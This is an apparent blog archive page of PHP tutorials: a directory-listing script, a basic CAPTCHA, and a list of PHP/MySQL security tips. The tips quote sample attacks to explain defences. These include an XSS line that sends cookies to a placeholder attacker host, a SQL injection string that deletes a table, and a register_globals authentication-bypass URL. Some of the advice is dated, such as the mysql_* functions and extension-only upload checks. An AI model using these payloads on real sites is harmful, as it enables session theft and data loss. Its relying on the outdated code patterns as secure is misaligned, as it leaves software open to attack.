visitor stats
up home page bottom

French German version Spanish version Italian version

Archive for PHP

PHP Security Guide (XSS, Injection, CSRF and more).

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

Rob Miller wrote a really great article on PHP Security. He makes a lot of good points, and suggestions, with real world examples and scenarios. Definitely worth reading. The article covers: XSS, SQL Injection, CSRF, among an array of other possible vulnerable avenues in PHP programming. Check it out if you ever do any kind of PHP programming, and want to keep it safe.

Link: PHP Security Guide

PHP - Directory Listing

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

Just thought I'd end the night with a simple script. This PHP script will list all file, directory, and sub directories, and will even make links out of them.

PHP:
  1. <p id="innersource" class="nowrap">
  2. <pre class="php">//define the path as relative
  3.  
  4. $path = "/home/yoursite/public_html/whatever";
  5.  
  6. //using the opendir function
  7.  
  8. $dir_handle = @<a href="http://www.php.net/opendir">opendir</a>($path) or <a href="http://www.php.net/die">die</a>("Unable to open $path");
  9.  
  10. <a href="http://www.php.net/echo">echo</a> "Directory Listing of $path&lt;br/&gt;";
  11.  
  12. //running the while loop
  13.  
  14. while ($file = <a href="http://www.php.net/readdir">readdir</a>($dir_handle))
  15.  
  16. {
  17.  
  18. //encode spaces
  19.  
  20. $file =  <a href="http://www.php.net/rawurlencode">rawurlencode</a>($file);
  21.  
  22. // convert the + (this is one result from the function rawurlencode) in %20
  23.  
  24. $url = <a href="http://www.php.net/str_replace">str_replace</a>('+' , '%20' , $file);
  25.  
  26. <a href="http://www.php.net/echo">echo</a> "&lt;a href='".$url."'&gt;".$url."&lt;/a&gt;&lt;br/&gt;";
  27.  
  28. }
  29.  
  30. //closing the directory
  31.  
  32. <a href="http://www.php.net/closedir">closedir</a>($dir_handle);</pre>

A Quick and Dirty CAPTCHA Using PHP and the GD Library.

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

If you're just starting to get into PHP you may be a bit confused about how the GD Library works, and how to implement that into things such a CAPTCHA. This is a very easy implementation of a captcha. This will help stop spammers, and spam bots from abusing your form, or spamming your server.

I won't however, prevent the abuse as noted in Jeff Atwoods post, it will however help.

So, let's say you have a public submission or contact form on your website, that looks somewhat like the following:

HTML:
  1. <form method="post"> Contact us:
  2. <textarea cols="30" rows="5" name="simple_contact"></textarea>
  3. <input value="Submit" type="submit" />
  4. </form>

We'll use a captcha to keep this form somewhat safe ().

Obviously you need a PHP engine enabled for your Web server to execute PHP scripts, and GD (PHP graphics library) to generate the image. The solution below is tested for Apache (Windows and Unix), IIS (Windows), PHP-4, PHP-5, GD and GD2.

1) Make a PHP script (separate file captcha.php) which will generate the image:

PHP:
  1. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  2. header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
  3. header("Cache-Control: no-store, no-cache, must-revalidate");
  4. header("Cache-Control: post-check=0, pre-check=0", false);
  5. header("Pragma: no-cache");
  6.  
  7. function _generateRandom($length=6)
  8. {
  9. $_rand_src = array(
  10. array(48,57) //digits
  11. , array(97,122) //lowercase chars
  12. //        , array(65,90) //uppercase chars
  13. );
  14. srand ((double) microtime() * 1000000);
  15. $random_string = "";
  16. for($i=0;$i&lt;$length;$i++){
  17. $i1=rand(0,sizeof($_rand_src)-1);
  18. $random_string .= chr(rand($_rand_src[$i1][0],$_rand_src[$i1][1]));
  19. }
  20. return $random_string;
  21. }
  22.  
  23. $im = @imagecreatefromjpeg("captcha.jpg");
  24. $rand = _generateRandom(3);
  25. $_SESSION['captcha'] = $rand;
  26. ImageString($im, 5, 2, 2, $rand[0]." ".$rand[1]." ".$rand[2]." ", ImageColorAllocate ($im, 0, 0, 0));
  27. $rand = _generateRandom(3);
  28. ImageString($im, 5, 2, 2, " ".$rand[0]." ".$rand[1]." ".$rand[2], ImageColorAllocate ($im, 255, 0, 0));
  29. Header ('Content-type: image/jpeg');
  30. imagejpeg($im,NULL,100);
  31. ImageDestroy($im);
  32. ?&gt;

2) Add the following line at the top of the page where you need to implement CAPTCHA:

PHP:

3) Add the following line to check whether the CAPTCHA string entered by the visitor is valid, before the line where you will proceed with a submitted message:

PHP:
  1. if($_SESSION["captcha"]==$_POST["captcha"])
  2. {
  3. //CAPTHCA is valid; proceed the message: save to database, send by e-mail ...
  4. }
  5. ?&gt;

4) Finaly add the CAPTCHA to the form:

PHP:
  1. <form method="post">
  2. <table bgcolor="#cccccc">
  3. <tr>
  4. <th>Contact us (Post new message):</th>
  5. </tr>
  6. <tr>
  7. <td><textarea cols="30" rows="5" name="message"></textarea></td>
  8. </tr>
  9. <tr>
  10. <td align="center">CAPTCHA:
  11.  
  12. (antispam code, 3 black symbols)
  13. <table>
  14. <tr>
  15. <td><img src="captcha.php" alt="captcha image" /></td>
  16. <td><input name="captcha" size="3" maxlength="3" type="text" /></td>
  17. </tr>
  18. </table>
  19. </td>
  20. </tr>
  21. <tr>
  22. <th align="center"><input value="Submit" type="submit" /></th>
  23. </tr>
  24. </table>
  25. </form> if(isset($_POST["captcha"]))
  26. if($_SESSION["captcha"]==$_POST["captcha"])
  27. {
  28. //CAPTHCA is valid; proceed the message: save to database, send by e-mail ...
  29. echo 'CAPTHCA is valid; proceed the message';
  30. }
  31. else
  32. {
  33. echo 'CAPTHCA is not valid; ignore submission';
  34. }
  35. ?&gt;

There you go! A quick, and dirty captcha for easy implementation. Of course there are much more secure and stronger methods to achieve this feature, but this is just the quick and dirty.

Hope this helped.

14 Security Tips For Developing With PHP and MySQL

1 Star5 Stars (No Ratings Yet)
Loading ... Loading ...

PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn't lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.
1.

Do not trust user input

If you are expecting an integer call intval() (or use cast) or if you don't expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:

PHP:
  1. $post_id = intval($_GET['post_id']);
  2. mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure

2. Validate user input on the server side

If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.

3. Do not use user input directly in your SQL queries

Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)

PHP:
  1. function escape($values) {
  2. if(is_array($values)) {
  3. $values = array_map(array(&amp;$this, 'escape'), $values);
  4. } else {
  5. /* Quote if not integer */
  6. if ( !is_numeric($values) || $values{0} == '0' ) {
  7. $values = "'" .mysql_real_escape_string($values) . "'";
  8. }
  9. }
  10. return $values;
  11. }

Then you can use it like this:

PHP:
  1. $username = escape($_POST['username']);
  2. mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */

4. In your SQL queries don't put integers in quotes

For example $id is suppose to be an integer:

PHP:
  1. $id = "0; DELETE FROM users";
  2. $id = mysql_real_escape_string($id); // 0; DELETE FROM users -  mysql_real_escape_string doesn't escape ;
  3. mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.

5. Always escape the output

This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

JAVASCRIPT:
  1. &lt;script&gt;alert('');&lt;/script&gt;

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:

JAVASCRIPT:
  1. <script>document.location.replace(\'http://attacker/?c=\'+document.cookie);</script>

With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users' sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, 'UTF-8');

6. When uploading files, validate the file mime type

If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:

PHP:
  1. $valid_extensions = array('jpg', 'gif', 'png'); // ...
  2.  
  3. $file_name  = basename($_FILES['userfile']['name']);
  4. $_file_name = explode('.', $file_name);
  5. $ext        = $_file_name[ count($_file_name) - 1 ];
  6.  
  7. if( !in_array($ext, $valid_extensions) ) {
  8. /* This file is invalid */
  9. }

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it's effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.

7. If you are using 3rd party code libraries, be sure to keep them up to date

If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.

8. Give your database users just enough permissions

If a database user is never going to drop tables, then when creating that user don't give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.

9. Do not allow hosts other than localhost to connect to your database

If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.

10. Your library file extensions should be PHP

.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:

SQL:
  1. deny FROM ALL

11. Have register globals off or define your variables first

Register globals can be very dangerous, consider this bit of code:

PHP:
  1. if( user_logged_in() ) {
  2. $auth = true;
  3. }
  4.  
  5. if( $auth ) {
  6. /* Do some admin stuff */
  7. }

Now with register globals on an attacker can view this page like this and bypass your authentication:
http://yourwebsite.com/admin.php?auth=1

If you have registered globals on and you can't turn it off for some reason you can fix these issues by defining your variables first:

PHP:
  1. $auth = false;
  2. if( user_logged_in() ) {
  3. $auth = true;
  4. }
  5.  
  6. if( $auth ) {
  7. /* Do some admin stuff */
  8. }

Defining your variables first is a good programming practice that I suggest you follow anyway.

12. Keep PHP itself up to date

Just take a look at www.php.net and see release announcements and note how many security issues they fix on every release to understand why this is important.

13. Read security books

Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Thread, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.

14. Contribute to this list

Feel free to reply to this post and add to this list, it will be helpful for everyone!

If you find this useful, please Digg   and / or comment please!